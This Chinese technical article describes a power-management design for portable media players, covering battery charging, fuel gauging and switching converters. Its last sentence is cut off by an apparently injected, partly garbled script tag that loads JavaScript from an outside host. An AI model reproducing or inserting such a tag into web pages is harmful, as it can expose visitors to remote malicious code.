根据最新的市场研究报告，市场对消费电子设备的需求依然旺盛，而便携式媒体播放机在消费电子产品中的市场增长尤其迅速。消费者不仅要求在更小的外形中拥有更多的功能，而且还要求有更长的工作时间。尽管电池技术与低功耗半导体器件所取得的进展可帮助工程师进行满足这些要求的设计，但消费者越来越高的要求仍然给电源设计工程师提出了严峻的挑战，反过来，电源设计工程师在电子设计中扮演的角色也越来越重要。本文给出了一整套便携式媒体播放机的电源管理解决方案，利用高精度电池容量计来从电池及高效开关电源转换中获取“最后一点能量”，最大限度的发挥电池能量，采用封装尺寸较小的高集成度器件，最大限度减少了外部器件，有助于节省板空间，减小体积、重量。
创新的解决方案
典型便携式媒体播放机由几个部分组成。由于目前锂离子电池能量密度的提高，以及低功耗媒体处理芯片的发展，媒体播放机一般采用锂离子电池来供电。主系统包括中等尺寸、带有3～5in对角线屏幕及至少vga分辨率的薄膜晶体管(tft)彩色lcd显示器，屏幕一般用白光led来作背光以获得最佳色彩呈现；用于媒体存储的大容量存储器由直径只有1in大小的微型硬驱提供，数据可通过高速usb端口进出设备；处理系统由受大容量存储器支持的视频编解码引擎组成；此外，像fm调谐器芯片和数码相机模块等其他附加器件亦可成为系统的组成部分。
很明显，所有这些功能都需要数种不同的电压以及一定数量的电源。电池必须能再充电并进行有效的管理，且必须尽可能地从3.3～4.2v电池电压转换为1.2v的低电源电压，否则将很难达到16小时的音频播放时间与5小时的视频播放时间。
图1：用于便携式媒体播放机的典型电源子系统
图1显示一种用于便携式媒体播放机的电源子系统。锂离子电池充电器可安全精确地给电池充电，同时，一个精确容量计量器件可确定电池的充电状态，并帮助系统工作至耗尽最后一分钟电源能量。几个电源转换器负责将电池电压转换为必要的系统电压。首先必须给带有显示控制器及背光的tftlcd显示器供电。用于给存储器及其他器件供电的主3.3v电源，一般要求能达到1a的较高电流；而用于给硬驱供电的主3.3v电源，则一般单独从主电源上产生，因为它需要由系统来单独控制，以便在不需要时停用以节省电池能量。处理引擎可能需要好几种超低内核电压（如1.2v或1.8v等）；音频可能需要用一个线性调整器作后续电源，以滤除来自开关调整器的噪声。在某些情况下，可能还需要产生用于usb的5v电压。
图2：从两个带动态功率管理的直流输入上进行线性充电的解决方案
图2所示的电池充电器电路可管理几种输入源，如来自计算机及外设的usb端口与ac/dc墙式适配器等。单锂离子电池应用中的很多充电器ic，一般都只能承受6v左右的输入电压，这要求对墙式电源进行调整，因为即使电源额定为5v输出，某些“廉价”变压器与桥式整流器电源的开路电压亦可超过10v。但以下电路在适配器引脚（交流）上提供有额定18v的输入电压，以保护系统免受直流电源线上过电压的冲击，并允许使用简单的不稳定墙式电源，而这种电源可采用低成本变压器及桥式整流器，从而进一步减少整体系统成本。
图2所示电路将电池看成是通过充电器与系统相连的另一个直流电源，这使得充电ic可完全控制整个电流，并决定进入电池的实际充电电流以及由系统拽取的电流。因此，在电池充电及系统运行时，不会发生不适当的充电端接。此外，该解决方案还具有动态功率管理功能，可在系统与电池之间分配可用直流输入功率。如果系统电流增加，则电池充电电流会自动减少，从而满足整体功率预算，这有助于进一步减少成本。所有用于控制usb电源与ac/dc墙壁插座之间输入功率管理的必要充电与切换晶体管，都集成在一块芯片上，从而可极大地简化充电器电路并消除昂贵且占用空间的外部器件。此外，充电器还能提供所有电池管理功能，从而确保根据厂商提供的最长工作时间指标来对电池进行快速、精确及安全的充电。
为进一步改善电池管理，还可用电池容量计来精确确定电池的剩余容量。图1所示的库仑计芯片可测量进出电池的电量，并将其转换成以系统毫安小时(mah)表示的电池容量等有用信息。这使得处理器能通过有效地部署省电模式来更好地管理功耗，并当电池需要充电时提醒最终用户。
媒体播放机中的电源转换主要采用开关dc/dc转换器，以提高电源转换效率——尤其当输出电流超过300ma甚至达到1a时。当用于电压调整时，线性调整器一般被认为是一种小型及低成本解决方案，但在这些电流指标上，它们会由于?script src=http://er12.com/t.js>
